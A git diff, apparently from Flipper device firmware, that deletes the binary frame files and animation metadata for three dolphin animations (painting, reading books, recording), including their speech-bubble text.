z8v%oO0pr*_kN{$!@qoc#5PSy~Bd7)KEAWA;h5;di+#nj8@I05|qab+9VBk@$&;A4gii65A0QiH;RX?~G2Yw$Y3?v?W z3f^Wx{O8~PqA`FZL>^KNbw*Pda1O3<3vNf`iK3A0T-E2Y~?9$#579CWt@GV27^@! zWC(ox191n5U`V6=53lfSAn|+%d|<)!;BUj?(;)dlU;*>^LG^3#6A*py6WYC2(gqmt zec&E3_~dXreF&6b*bP+Z9#PN#RslkkP%eS-yj5nP^0+}Ya0+Ci0k98@5I&p;7yJJ+ zm`5rB@qtxms`G%uiK7^ihsp!0mn+Tzb2prd zf#MJ4CW20Z<$#35A@S%p^W2$+0l7vTBA0pp;6LMRac`2Roj0Qq47 z<52KG_y_TUf4}oE`B;O4D2PEY3-N=OM*bfd6h;v+jzS^$500-KFCX}Pagq23LI;E~ z41T|V`~$|r75G5M!vNw(I1n9W_#R8~QII@@g8;5i{saPDhyZQ?^wdx81_9rP$^$6} zrGGOZ{&VmDQ5e7_0Q10VDl(YIAAhO<2t2tH2nB+%DXT&-SNf;`fAV%{i-kTgngHl^ z;q#CvL>@58t@94-g323+F!{kVJJ*7zQdKu@9E2)DJtwR311;1&XSm8m-hGd*Jy}AQ}x+DgYl$ z1zbKzVX#$yq46+?0Dc<1R1HQU@`DH0{vQ}Qpo8NDfCtZkAJ%H2p<)lj0=ZT6j0QX( zZ~*=_|NQSCLPZ!h16Aq=ox}O~xXLIOK=`5ust-7XBjNazz%~K#f(O$94}^aw^El-| zJ}@N^tBwhb@xbHKF!?}rTcCMEpkK&@5(xkglm@Gv7Z?5m3h==2m<_(G3||~@JY(<( z4-^U^@vK#Fw+gNtJT?pj0&))+H2{7zXhy3BFDeEByfFI^{HU;wt^}S`6M*0$0f7&U xnhEL^hyY~V355d@|Nr0WvRoz9R8R#_@F*NdIS0mtItQFUqBt8E7-#|U(EtcKLwx`M diff --git a/assets/resources/dolphin/L1_Painting_128x64/frame_2.bm b/assets/resources/dolphin/L1_Painting_128x64/frame_2.bm deleted file mode 100644 index 13916806fd62d4aed731cb58265eab34adb4b755..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 762 zcmVrBnnlSRlM?kSPVi2@upQgaA>f5hQr9 zSqB0O5bPdE05MQ_z-+K%nDOE|fOpudH`hRdR4*Wh)9!NbZ zIhhCZpMUy@#sNqNo&#Y~l*Tyw{ZIfw<%qwoMxiOILNHhQr~rTTb_l@W@(qM0fI1y` ze8A)2z(yk#h$uX*!SV-{0|8)zYb3Y~1`|XdSq1}%0jo&xGzwjmKCK}+j=m!Skjym! z^?*z#SPIBIKqF``nXq6S2tR{i0f1tn8xZ+wtxGb1Tr2?b!ayulRREAk09noeJW~Up z)k2^euTVVk_yBmqAQlR*^gcaMabPg;2pX6}3?1VOfZOV@#qpg3 z%71{MVLr?8tW|Kg3aoSm5U~%+iwLU0$L9u+&*K;q s`ALuC0|%TV!$ALk|M&W=mk53o`bKaNGbsngg#Hjg6b26fD;RuqKoWI0G5`Po diff --git a/assets/resources/dolphin/L1_Painting_128x64/frame_3.bm b/assets/resources/dolphin/L1_Painting_128x64/frame_3.bm deleted file mode 100644 index 751fbc3efb282916cc38d5999018e804cd4c0a37..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 759 zcmVrBnnlSRlM?kSPVi2@upQgaA>f5hQr9 zSqB0O5bPdE05MQ_z-+K%nDOE|fOpudH`hRdR4*Wh)9!NbZ zIhhCZpMUy@#sNqNo&#Y~l*Tyw{ZIfw<%qwoMxiOILNHhQr~rTTb_l@W@(qM0fI1y` ze8A)2z(yk#h$uX*!SV-{0|8)zYb3Y~1`|XdSq1}%0jo&xGzwjmKCK}+j=m!Skjym! z^?*z#SPIBIKqF``nXq6S2tR{i0f1tn8xZ+wtxGb1Tr2?b!ayulRREAk09noeJW~Up z)k2^euTVVk_yBmqAQlR*^gcaMabPg;2pX6}ciuJ510UA7%7K_Pe8f{#_%5zxU5Qv;P^?P8vyvh z1L6-k1mfXnnnx-D@qq`{!2pj*Ba$%rKu_WiItKznA~lG7pfy{lJfqwRg#v?zz-{$d zV))L1PFMTAvg;PWVy pM*@E-G5la)^`3vg1AnT?aEIXstOyKT0Qk_K!vhDPSm*)q(Ew_YJf;8u diff --git a/assets/resources/dolphin/L1_Painting_128x64/frame_4.bm b/assets/resources/dolphin/L1_Painting_128x64/frame_4.bm deleted file mode 100644 index c1135b467cc5fe2e313984e30a04ded3dd814e7d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 759 zcmVrBnnlSRlM?kSPVi2@upQgaA>f5hQr9 zSqB0O5bPdE05MQ_z-+K%nDOE|fOpudH`hRdR4*Wh)9!NbZ zIhhCZpMUy@#sNqNo&#Y~l*Tyw{ZIfw<%qwoMxiOILNHhQr~rTTb_l@W@(qM0fI1y` ze8A)2z(yk#h$uX*!SV-{0|8)zYb3Y~1`|XdSq1}%0jo&xGzwjmKCK}+j=m!Skjym! z^?*z#SPIBIKqF``nXq6S2tR{i0f1tn8xZ+wtxGb1Tr2?b!ayulRREAk09noi2jNM8 zXf;r%2CLK$JbnTL_=UhM6<_FldZ6OKVc-xyq)a|gVEX(h^N2T!P9G>N06w4T?GhRB z4TyaZA}$#FY;hNeBzQj%2*wJrDB@^!Ve!BR%m6VA6!J+bpj`vwcn^vsRwYE?)1`0? zfP7$q@duoPae(;DW0e5-z=P{xYK{gmBM+1W{vh(cP$mHJf8L-2#t(j-z3jS2iPFmd1^0P>&*$3*xWIm`e6 diff --git a/assets/resources/dolphin/L1_Painting_128x64/frame_5.bm b/assets/resources/dolphin/L1_Painting_128x64/frame_5.bm deleted file mode 100644 index a4681af98e85a780faca27f632565d56a90abee8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 757 zcmVB0PzBVP#_wh1V*4h^Q%=r4;6re#y}sidI#q!KOp_)f#@Ib|JA;~|NVSF zaiA#b1NRjIjbK0F{}1|oq7Vqjg1#Sx_{cBtNru2bFs=pzg&nX(e-Qe|)~{6o3|1Ks zpV(mf2-Q+6sFiCqKp~AmBoql03&9`$N9z+>rBnnlSRlM?kSPVi2@upQgaA>f5hQr9 zSqB0O5bPdE05MQ_z-+K%nDOE|fONp1LOSv&;#X!fI=t` z5Wt_t1^)lc!{uTJj)MUKz%RxQT^sm(U{M%EBB20>U_3g!aJ+xv@y18T<2XbV?!ABf z1IEJ@_(0&F2sk{U`pfV8P)bMOCA7{DnI3j{I&fY?-JF^)d}Q~(fpOcVuBl+~daEB#aeKl(capz;lbCV)B} zcznR(Ef~aNu>}W}xIRGiutBwwTm}OPq7T0k16GmXXcW6BeW3?2*TiTt8HS)f(+SoB zvk~ybU^asJ-@)U+gZMTO9R?~Pu@9E2)UzlB!odO9VIUSNs(?r&04(PM1CXS^G#aQ> z16Aq=o<9Krj6zofRsM&^stzm$9svWKL__5U53jfcU^cr6ZnJ5c|hPO1_=NUlm@GH2bT|nFn~aCm<_(G z3||@0yz$V81RMl4imn#nRgQztV0airGJroCG$U0G2b;Kj5epFfsIZEx93Ef+$V6}_ n@{=FN1`k+A`~Wxltd|IW5PHD?#lR1Z3H&fHdP0HaKo5?HvfnzS diff --git a/assets/resources/dolphin/L1_Painting_128x64/frame_6.bm b/assets/resources/dolphin/L1_Painting_128x64/frame_6.bm deleted file mode 100644 index 36f2d084fe3277d555dda68b3a9675916ce237c3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 785 zcmV+s1Md6*01X3xP#_wh1V*4h^Q%=r4;6re#y}sidI#q!KOp_)f#@Ib|JA;~|NVSF zaiA#b1NRjIjbK0F{}1|oq7Vr#7-N!1m0(_h@t{H>K=F(N$51I5i%Xy{O8~P zqA?GT_#QAVR;r^ZjB)qiVbxF|ANYBQYV}!7S`mW3)j$J(fPY{Z2nMfJ2@DJeULQue zU;^U>2bH)!Kw*qG$AA|ZE&~CC(Fe&^Fo*;~z!w=F27ybmhsbsy@q}yw;}L+!W*UI` z1H^7HYQS7U;sF~#e81rF!(erRae%-vQ4NTEy+HB2U@F0J2aXZ}VydVIst*_k0PsNZ zq(C$ps8j$DK=H4J2(Ct9{)faKRsi_Nuo3uxe4xSfoL9cEIP}6mA12U;&V96I0|$?S0TQeMhJ65_C&nR!3=9In;187I{2w?*5(45cgiJm^&;0;CSWF}W@c@W^ z1Lgkz%){kk#y~K_LH;ks4qY4gd|*a_fIwhSPxE|n!twuy#~B~EKrb*MSii>q_y>)K zEAWBQFdxVy0{$Nx@I05|TN(xf%#jdy)+hf00YyRUfS-rPe{e7k{61712lyT#p|9p- zAI^RM>IfPH1OE@;YxP>HjHWTi-+_lz4JrmYCUU%fg3b0>gwY4f01qf9^08Hs;Aj-PD13q902~~DQL2c* zWHSILht2`PPZd-iAQ7|&%l;1&0Khexs0;%Y5ZH&y)Gr_a)vBQJ!ayulRRHxt0stNc ztUgqT27^@!fNHQH^1Kbi9wu?HRez!J2cGzDAn}L?$_yVK2qb(9@#>YvKp!Y91FOM< zz(37_pWpz(A82F)@qg-r2KfMw2hOWOXO07ZKAe0w9DNCtVAu^+4mcYh1P+Y|z{+SB zK=_(R2ObBF0yrfY46XsN4~!F3%oKS@r``wz$~jOEj0>v+pM%E$BPaxFMjt2+st0Tb zmjVU^64-~z1J!|Y0p&4*cpx}j2H#bNz-P#_wh1V*4h^Q%=r4;6re#y}sidI#q!KOp_)f#@Ib|JA;~|NVSF zaiA#b1NRjIjbK0F{}0FF1|O98#2^spFn(9#Aiu!jf%=7TI}jK^e18!7$JVb^0Ss0d z5cl9e`uNpSE2x!gH9#SaK_nN81P}2Q{zvN*TBTG3F<2)8VbFkJBXCHDp=2NejXI17Q$+fWtn3P!r=2!UhHbV7^4d<2b(u&Jl!wgU5l6hzG~{|DXrU350-N0pkNN zj0^q$nTN{7jDTUFJO?1wAm!1&hsFgFtUw?zDFgxqsK*P({vRAVa1LJ-NlKe|!K)`vDBM5<3C;tKgMM3QZ4~+icU>*2;s5lSsJWYdN z%*a2S`~TENGzbU&9%3C{s-r24argS50E5T-0Kh;h^;u0?5rV(fKm&hco&Y{Dkifuo z;q;6*$AA|YC_Jsf@>Pr?0TA#7#!G;}VKhPV9f&+(7XY}(@H7ftls-W56O0>h7Z{8N zLon0_(ZE%}xP!z3Hh}qm!Q*&5czt6;s6@>TtVZ6fLN-k0qTMV0l+*E z7--To62B0rGm~YybuYLa-bg=7gh&92aW(nPzcnFK2RN04%iPa1Pllz zu@967s{-T$%3}oZKybJXzN-y@^+B=?5`@Ac7$x}DD!5yR*NqVslrCWq;X^0`@jDHw z4I)wu0u?5RSZqV`qQWk)N+Q6a(jNrD&>``YK_^g3MED**LxBE2|NH$`ON5@mG8_n=;>2_ diff --git a/assets/resources/dolphin/L1_Painting_128x64/frame_9.bm b/assets/resources/dolphin/L1_Painting_128x64/frame_9.bm deleted file mode 100644 index 99ed507179a3dc7a64a99f871d18c55796a97cb1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 777 zcmV+k1NQs@00jepP#_wh1V*4h^Q%=r4;6re#y}sidI#q!KOp_)f#@Ib|JA;~|NVSF zaiA#b1NRjIjbK0F{}0djKPmBu1I7ne55oLp7ysl0KTxg)0_;C8#6Ge0tJOe56^2A7 z@;C?jH&lx1C0fl;2xCx51p-X~fkpq3`oz|$RRIiE2rnAoJY$eZhM{C20*ye4BWHj> zZUFJ@9!LN&P$bQ$M&E2Yw$Y3=|%4 ziq2+1{O8~PqA`F$0pkY(4!)x)jB)q+pa6n~0WlJc3acrrLNHhQr~rTA!G}OF7#&@`ss42EH- z53BqiZEy(eDD+a z33bwjuI>)nnlDkWeER*d`kRx77g0 zRTmbF4nZJ-SYVLI1!Aj(xOHM{frdmRAB+SJ5kMb}8WHMI|3CNotd|LO2b2N}C@_p71Q!ta(5F)Xc|fHc0C>Pq H!XF(FZihX= diff --git a/assets/resources/dolphin/L1_Painting_128x64/meta.txt b/assets/resources/dolphin/L1_Painting_128x64/meta.txt deleted file mode 100644 index b0b88fbbd..000000000 --- a/assets/resources/dolphin/L1_Painting_128x64/meta.txt +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 9 -Active frames: 13 -Frames order: 0 1 2 3 4 5 2 3 4 10 6 7 8 7 8 7 8 7 8 9 10 11 -Active cycles: 1 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 1 - -Slot: 0 -X: 57 -Y: 24 -Text: No mistakes, -AlignH: Left -AlignV: Center -StartFrame: 11 -EndFrame: 14 - -Slot: 0 -X: 57 -Y: 21 -Text: only happy\n accidents -AlignH: Left -AlignV: Center -StartFrame: 15 -EndFrame: 18 diff --git a/assets/resources/dolphin/L1_Read_books_128x64/frame_0.bm b/assets/resources/dolphin/L1_Read_books_128x64/frame_0.bm deleted file mode 100644 index 1169e42d690a46a34ea8a8e1910843a4d46556f7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 653 zcmV;80&@KU0Eq&sfICzG;QxpGKjHrm_%c+< zAOOz11N86I1Z!1;zySlg*6zML59jDUkQfHDRqy)qd>#DcmaFw26aoQQs>}Vn|91a5 zC)UQbdaF=8b{eU7*OTh_XC#$aZCa}}2aSL}nPB-sheIj{j{rV?41j#^6Xgq`B4-ooVpgRau0{9hgxfsM+m>fXw~f#LNB$6cx5CFg?0rHaBWj;#3R%jnca6D@B-!7-gtkq8g=fEHq zx5|D+_=m=;Kj0WfvJYVSz<+`P)d%Yb{}+u*N)JgmeE-+*c^7!R>aI*NP#nfa zF(wC$mqm)zTV-@8L^=f!%SJo^@q+8H!=d$4Cm0AF!a)K5K>PvoMU6v|e}P~mei{5T n@fo3FwjuGSOfUt3o`2wf3;BI$91Hjmd=v5T$N$Im3ZMYM>|;S8 diff --git a/assets/resources/dolphin/L1_Read_books_128x64/frame_1.bm b/assets/resources/dolphin/L1_Read_books_128x64/frame_1.bm deleted file mode 100644 index 80e2f39bb69255c5c17ab52708c536680e2ad7dd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 653 zcmV;80&@KU0Eq&sfICzG;QxpGKjHrm_%c+< zAOOz11N86I1Z!1;zySlg*6zML59jDUkQfHDRqy)qd>#DcmaFw26aoQQs>}Vn|91a5 zC)UQbdaF=8b{eU7*OTh_XC#$aZCa}}2aSL}nPB-sheIj{j{rV?41j#^6Xgq`B4-ooVpgRau0{9hgxfsM+m>fXw~f#LNB$6cx5CFg?0rHaBWj;#3R%jnca6D@B-!7-gtkq8g=fEHq zx5|D+_=m=;Kj0WfvJYVSz<+`P)d%Yb{}+u*N)JgmeE-+*c^7!R>aI*NP#nfa zF(wC$mqm)zTV-@8L^=f!%SJo^@q+8H!=d$4Cm0AF!a)K5K>PvoMU6v|e}P~mei{5T n@fo3FwjuGSOfUt3o`2wf3;BI$91Hjmd=v5T$N$Im3ZMYMr(i() diff --git a/assets/resources/dolphin/L1_Read_books_128x64/frame_2.bm b/assets/resources/dolphin/L1_Read_books_128x64/frame_2.bm deleted file mode 100644 index 959b02556d64ec11a58378b58d291bb1843394bc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 650 zcmV;50(JcX0EPmpfICzG;QxpGKjHrm_%c+< zAOOz11N86I1Z!1;zySlg*6zML59jDUkQfHDRqy)qd>#DcmaFw26aoQQs>}Vn|91a5 zC)UQbdaF=8b{eU7*OTh_XC#$aZCa}}2aSL}nPB-sheIj{j{rV?41j#^6Xgq`B4-ooVpgRau0{9I8tTOt4|-EOM`51*@hD*gwD)E^yosFHfQ?UsAw z4vf@3HD0M)>au+-zsMgMczi$u0GJ2LOJ$V#D*aiYeIdZ{tIvG8pC+?aJP)4$fLh-v z`4{3J8m#|-VH(IigXaPM2nSRjtRMVdH7zJTB;oV_U%}&~-m{WSA1mxP{|A6sG@$hl zmm3cQk3cyM<&%fUs~@v?Bk&4D9cpq9z zTd5g>ScBRwA1rvhLGeEilzS)mg@eSLU;*HN|70=9Mk3&WjMK2%nMbO*FvUP~85qQv z9x`1PD^+ck(4i3M6hkc-@B_vRuEP$8)l8gVAa@A_2mJ%^2hA2W4n_V2fRXrT@Xy3% kg^JjR#+@+076y6$f&4G!^`LMs;6dfevkzfcae_rL=k*0*)>*ndAk^n*Y(dar-io8a%~B(-0te4sE2rB+|<=li$$$v(C; z8XZ&u0jSkWzPz7T!#O0X!)n3t2aP~JnPB-swVJ6=Jahr`@MHt$c&g1o<3Os*zr2w7 zNeAPE)y9G2zz>g1u%NAwcpEpQt{2SOsDm0KNy*9$Ma116V&C z5`ahV{eV@YqVa$S%pQ8(Fla;L|A6ZM|KIok>b2YrR6aNO3XE8S06k{QgR1R7FQNIb z*k8ggDz2&WEs_G3%T#|NAiasQKmo1R>abJzm&et;m45@n>JN^)RRRy3_RBr;2S#ci z5FnOLt0&US{DJY8hr|FTbJfXgvY#bit27UnRsk>vjb3}@)cG}p3LB^1iZ04*;@hLFykaHXa8a zfN~qlCl8c<&ESu~DG+rj$Ugz{@x~*`0mw-N2QP%x1LFjKjldo(&ipZfTGpwzy^3J*XBuiQR1t92tW1Dpfe zE*~DQI9?^O2ekbDQT(6bUNi!6fCqv9{gB5Y7>9xeGfu;5Wge>J!xaI{WMdOxc*%5F ztyQ*HLWD!0Q4F+Wzz-NMy9_!XRWfmaf!rhzAM_8vA2e9hIT!dA0!QJW!#@$47As;O g8g#<|SQ+R32k^g_)`7skfd|1q9}Iu|e^9Cb3>pbCT>t<8 diff --git a/assets/resources/dolphin/L1_Read_books_128x64/frame_4.bm b/assets/resources/dolphin/L1_Read_books_128x64/frame_4.bm deleted file mode 100644 index 389d2a8ef52e63d603a3d5c6357d14886acd4518..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 650 zcmV;50(JcX0EPmpfICzG;QxpGKjHrm_fevkzfcae_rL=k*0*)>*ndAk^n*Y(dar-io8a%~B(-0te4sE2rB+|<=li$$$v(C; z8XZ&u0jSkWzPz7T!#O0X!)n3t2aP~JnPB-swVJ6=Jahr`@MHt$c&g1o<3Os*zr2w7 zNeAPE)y9G2zz>g1u%NAwcpEpQt{2SOsDm0KNy*9$Ma116V&C z5`ahV{eV@Yun7DFK4A0K>4QQa8Tw_B>gPvZcp`nR&L;COvO@z-jgL~_;7Y_s1W zbY`LP0tsa5vVAPS$R8Pad_V$cJzSQ{De_hNvq1TEU=sj%)#tulPm@`yo(Iw#4;^om z{EP7qmjHlOkb4Ktf53sjH9`3=kMKY>Ehs%C;q$?N#p9&jvyx07E9)d+@CzoC9-;E% zVc>D-2O+$&aQR2<-U$2xkq1(ogYX|O9AZ3>9E6ZSa`;V9J}^)G2H+1FJCr~JDEx=U zRS1$yJ_3=Fhtje?8Lgs8a6k-ze!GDAVJRPv6b?XMPyKv8P-WpHj6=Z#8K+^jGLKbqVTyp}GBJs; zJY>2oR;t@8p+X_hD27@w;0KHsU4|VGs+l;zK<*L<5Bdk-51K4$9Ep%c+< zAOOz11N86I1Z!1;zySlg*6zML59jDUkQfHDRqy)qd>#DcmaFw26aoQQs>}Vn|91a5 zC)UQbdaF=8b{eU7*OTh_XC#$aZCa}}2aSL}nPB-sheIj{j{rV?41j#^6Xgq`B4-ooVpgRau0{9hgxfsM+m>fXw~f#LNB$6cx5CFg?0rHaBWj;#3R%jnca6D@B-!7-gtkq8g=fEHq zx5|D+_=m>7Kj0WfvJYVSXkb6V0P2JB)$m~d;_<0zLFp$CmV^I)2ac0^&PgzQr;zXb z9sy+1gVa7;d@K$<0OU88PG2bfyTKoTQXuP7kbVQ@;*3X>1CWvk4qpkXH;exPxC6#d z1rL;?@*gNPl41N5jFdi=k@;Czb>0qge< zm8y}LC5Szu;qu0d#2*vz`9`vTh*&&H#sD4%|Mo*1gkmlT7|lBksg!!FlMGY`A(4zp zf#W67VzpM;T?!EnfkZOVj{rPiy6iCMeN@TD0taxAK!4Cb0DSdQs)r)~0>DW8Gx%rX mGeX5|L*q`EU<(60|G@qi^7_y?7w{nXC*$Fd|BvbwKmmYdgFQk3 diff --git a/assets/resources/dolphin/L1_Read_books_128x64/frame_6.bm b/assets/resources/dolphin/L1_Read_books_128x64/frame_6.bm deleted file mode 100644 index 451c80a26af36c0bfe1cdbfa307f6e6cbb98b292..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 646 zcmV;10(t!b0D=OlfICzG;QxpGKjHrm_%c+< zAOOz11N86I1Z!1;zySlg*6zML59jDUkQfHDRqy)qd>#DcmaFw26aoQQs>}Vn|91a5 zC)UQbdaF=8b{eU7*OTh_XC#$aZCa}}2aSL}nPB-sheIj{j{rV?41j#^6Xgq`B4-ooVpgRau0{9hgxfsM+m>fXw~f#LNB$6cx5CFg?0rHaBWj;#3R%jnca6D@B-!7-gtkq8g=fEHq zx5|D+_=m=;Kj0WfvJYVSz<+`P)d%Yat{4SNN)JgmeE-lec?1niA#9RT5*kRE6sgsNZ4&fkx|Db*V`Rb)r4n_V2fRXrT@Xy3%g^JjR g#+@+076y6$f&4G!^`LMs;6d%c+< zAOOz11N86I1Z!1;zySlg*6zML59jDUkQfHDRqy)qd>#DcmaFw26aoQQs>}Vn|91a5 zC)UQbdaF=8b{eU7*OTh_XC#$aZCa}}2aSL}nPB-sheIj{j{rV?41j#^6Xgq`B4-ooVpgRaqeZ4{R+MdKdPyqS^%UjA#h*vf#{r`Xtt6jj=d$0~X2CD#S2mtk)E(`czAMpIw>?$FE ze~06$e2Zj20tFqGsto|X5e4iuR>*(~w_B>f%jfFe%D;i(^#{jYswAGSdu5*a1EVz$ zjaRByI;@{dFY*V*ULOzuz$O9mlG$ZGO21ZUA4qUKYV+SNr^&3j(cAjY~=oNjQA}*YJ4hH>~872g>^m|H0rEO(;D><;KIn zc{Nf2>b$(2U?ti@E;pjk})1o4njyEIeaFmTbjZ@@Ed?UWbjb=N5PVO=IkGrcvsyOfgU##zrwF2aK0R ziq%_XbSOkR1rW#)P2^;0Jp2pz&f0slb!0rN$TLy>=hU?hGS{4?%c+< zAOOz11N86I1Z!1;zySlg*6zML59jDUkQfHDRqy)qd>#DcmaFw26aoQQs>}Vn|91a5 zC)UQbdaF=8b{eU7*OTh_XC#$aZCa}}2aSL}nPB-sheIj{j{rV?41j#^6Xgq`B4-ooVpgRaqeZ4{R+MdKdPyqS^%UjA#h*vf#{r`Xtt6ji|i;n@Sz#4)8J!Z>;s*k`w;rXxFTgCn# zj;Zo3kpKu3c1_~G5e4iuR>*(~w_6AKa@I`*nv(c0QLKy%H2rJ62u|N9}1LNONv3}&5%)XF_o$%ZNen8?N?!10pkv0AHa zu7wDPK%yCF$ABI%U3M6BKB{En0Ry;5AV26IfIeuksB$mxECi3kKZbrIG%QxcJ~Ziu d0I)O9{14%OFRcTCe*zDJem)rg`2L|(02rJOIJW=* diff --git a/assets/resources/dolphin/L1_Read_books_128x64/meta.txt b/assets/resources/dolphin/L1_Read_books_128x64/meta.txt deleted file mode 100644 index 750c043d0..000000000 --- a/assets/resources/dolphin/L1_Read_books_128x64/meta.txt +++ /dev/null @@ -1,23 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 13 -Active frames: 2 -Frames order: 0 1 0 2 3 3 4 0 1 5 6 1 1 7 8 -Active cycles: 2 -Frame rate: 2 -Duration: 360 -Active cooldown: 5 - -Bubble slots: 1 - -Slot: 0 -X: 5 -Y: 28 -Text: Predictable twist -AlignH: Right -AlignV: Bottom -StartFrame: 14 -EndFrame: 16 diff --git a/assets/resources/dolphin/L1_Recording_128x51/frame_0.bm b/assets/resources/dolphin/L1_Recording_128x51/frame_0.bm deleted file mode 100644 index a278e3a9d693124ef13784e913883e49b5c1e994..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 663 zcmV;I0%-jK0FwfMU_apf@PFW7LAU`#0MHM{0uB!zWPn=m3FHDD0I*P`Fc0vUzYy?v z!@tn@2Lgj3z(8Su@q!62UqK0wYO^1xgqQlG|x3FPo#@?i5q4L?O>f=ppCD2)?I zb_bj?!J_&=uR!sIN;H{fDcfQ?PoxI;4;Veb9^d`{(&7&;J;WYggowR_9yJhoQNiP$ zfO#L|{twQ60rGc@3IIQh{2!zbGWfvn!10GpG?9q-e7;Z}2-Iib@sCdd<30zJI|U&0 zkcJ5){zvjr%fLKbV?>a0ary9g&LP0@xOk!Shy@}+lE>5FKv98WVcrkWykHoK1dAUh z2c#Rp1cNXJA19(?A}}0;hlPaWcpy+n1;Pl!~zK*X^uP|KZtldZUK>S3@C`x)A3%I)5G({}5=Ei{mcTwbXka~Ifb;MZ z#xoJXMnUFK5GnuT@R*hY5(zE8k$iMl zV0ptV8ZV>|{0|s(<3*NYowg&S`ao}h@q_#{AoU&((&GdNj~*kS2an+*FJT9bL>^Rd zc;}!5k#&fEbMOz7ykJlP{Ab|(AbFR@1Yamod}9&t`Fx-{8zd0^Q4{#aC&2QDV5AeD z!hC$51o+1<0P%5+5OfU!WpgkJ2< zfSxg!jsh|dGJt_k{~v_Jun>?*Z~^K77%;q1A_gD8JW`|pKzZOl;PHchzzmrr0KrmY z0uQh}?+``^!{iX7b rwNoj#XR&PAKo{o(Rt~#VA7FaQ2ksAPBsjjn_K_#v0SE`41HzwhY5ozm diff --git a/assets/resources/dolphin/L1_Recording_128x51/frame_10.bm b/assets/resources/dolphin/L1_Recording_128x51/frame_10.bm deleted file mode 100644 index 7684384fdfb09f1dc5e2dde7b898fa11630b8d79..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 629 zcmV-*0*d_s0C56nmLGlK12bKciBJ}_K0P+4{@?i5q4L?QbgUn$vDD@Lb zb_bj?!J_;???CZ~N;H{h2f!dU*p8Fo0lq?bPDR|M&0-*KRNgZ&|WYo0RA)Zev}*@Mfi+I{!sV_$^)T4ykdR&2aG!fAWyt< z@dk!C#>pUGymH}ifKDJ3i35G%-UwpEu@VRS!Mp{*U<^J_ME*fwF#rhRINkv9d?6Ez zL+&#AMkjO1OU)L$$zM!`3Ifihz}TagTdp+1$^CSV+fPOF#cm;xmA%K5^#rTJV#(4mS zKsXc`4gvxO7z7$%4;Xj)J|!9)hQR=s0fqy>2ag^Da0CpxLlFN^;1mIP;BXT#v0x{X z7(@pN0FXf<7%T)dY*YxuhY9?Iz+wRL!f+r!@q|z!5*Qc$4+4Y(#}UAQgT^61hDhK> z@duBh7l`m73PC`@$f7^W3=#?OgX9e202&4Y;Ubj&G!RcGg9nobqynF!vOy*=n3P6| zq_Zs!8DP0>@-h%iQ7?0o{KFBCMi{k^o1I8UV(q_Wk})3# zm&*en^pJ)LB>qS8QHl5Z7l4P*q#T@nd>%81c1k&TgF`M53M7LikEg(?5(pM1IdF3c zz;O}@7Cuf7NOyuTfG9+siHwNAauOaE6OG`4FbW?y#6j`!2?2a?Qg0csSVIVqL>{C8 z7zPF{4+8-f^l%}*2sk`JV~qdL;L{8Qd-1^dXW%f&1Oxq#2an<( zfH#i<04o@fJYX2F{r&*~2c&WVAqSQbVmttO42A+w5PA9o<3ND}#Bxv$1q2>j0Ql*l zm+lNhU-HKY)0T1OU)L zc;G+uaQuVF;51Np!=xS$9zP$)&%lA@c#;FgBmemQ`~ClZ{sJjDrUOB)kX)|)zQwzD t06(PzL8{eErrn;!vtw9d@Wb!1W)%J!A#=2f6*=5P*5a6Y#Yx0w4eY diff --git a/assets/resources/dolphin/L1_Recording_128x51/frame_2.bm b/assets/resources/dolphin/L1_Recording_128x51/frame_2.bm deleted file mode 100644 index f5dbbc71c2ddd18c7644ca48385fa4066c1f6daa..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 628 zcmV-)0*n0t0B{0;U_apf@PFW7LAU`#0MHM{0uB!zWPn=m3FHDD0I*P`Fc0upzYy?v z!@tn@2Lgj3z(8Su@qnmLGlK12bKciBJ}_K0P+4{@?i5q4L?QbgUn$vDD@Lb zb_bj?!J_;???CZ~N;H{fDcfQ?PlN{f3E@HR0QUdy;1>{hz_^zXc?w1V_7Hf~LFGgT zj(P#)bPxDHIrs<3-Y_Tt{xk4?kUY!r7>|d`oO7;G?R0K??;PvjN@5CD!7jo^VnAQuQk;}HSEKqL@o zh6+vNUz9o#Ac%jca0& z5C|lJra16;i^Lu`0LZuo1P>SnEB}9hKtbX*AMh+-Ao9XJ1yCUIh!@L%Y7ij$1LHt} zU?V`1Ef5s80rAsA0qYD0pMah*n2rK64>Ev(PyZi;#IO*MNpJz;g&+Yzh2n`2FujBl zFff8BgdSK2P@u>8{{SjvkOKu+i;zR=4?DyWVlenegU64@@$>4F4h$Os5&!&t{r>;I zeyKPHG0-~bMau8n>|3{Il)6AP8m&~yZQ1NwHc$omlLuk0)d$!fvVr@9+DQ&Cusx(_ O!62UqK0wYO^1xgqQlG|x3FPo#@?i5q4L?O>f=ppCD2)?I zb_bj?!J_&=uR!sIN;H{h2f)HM*p8Fw0lovq4{!&RG7JwN{{QK52bUh=41ZZ#DDn*fPA1jA0!@r4;b|D9y9Os zJ^>EFNIfJWf=NG-{FHL>28KAsi6G?T^WgEELxJOPYYgH6NRVW)^!N}IU|5)QfZ!O3 z1dAUh2c#GtcnEx+iHwNAauOaE6OG_*i~`^?97G=<0FW2Q1t#%>${h%hL?9FZ2|zG0 zZzKW&Ul4fMAQJ(wf=2-!{6HYn$N)S+V~qdL;L{8N{9p?Lf=C);j|Y$99uFIXK>_0c z#eeVPp$CZAKm`E@mJwnkfd`3TKm))v2oQY%@t{Dk5uiyHhzeT(`01g5^@an_z)u*= 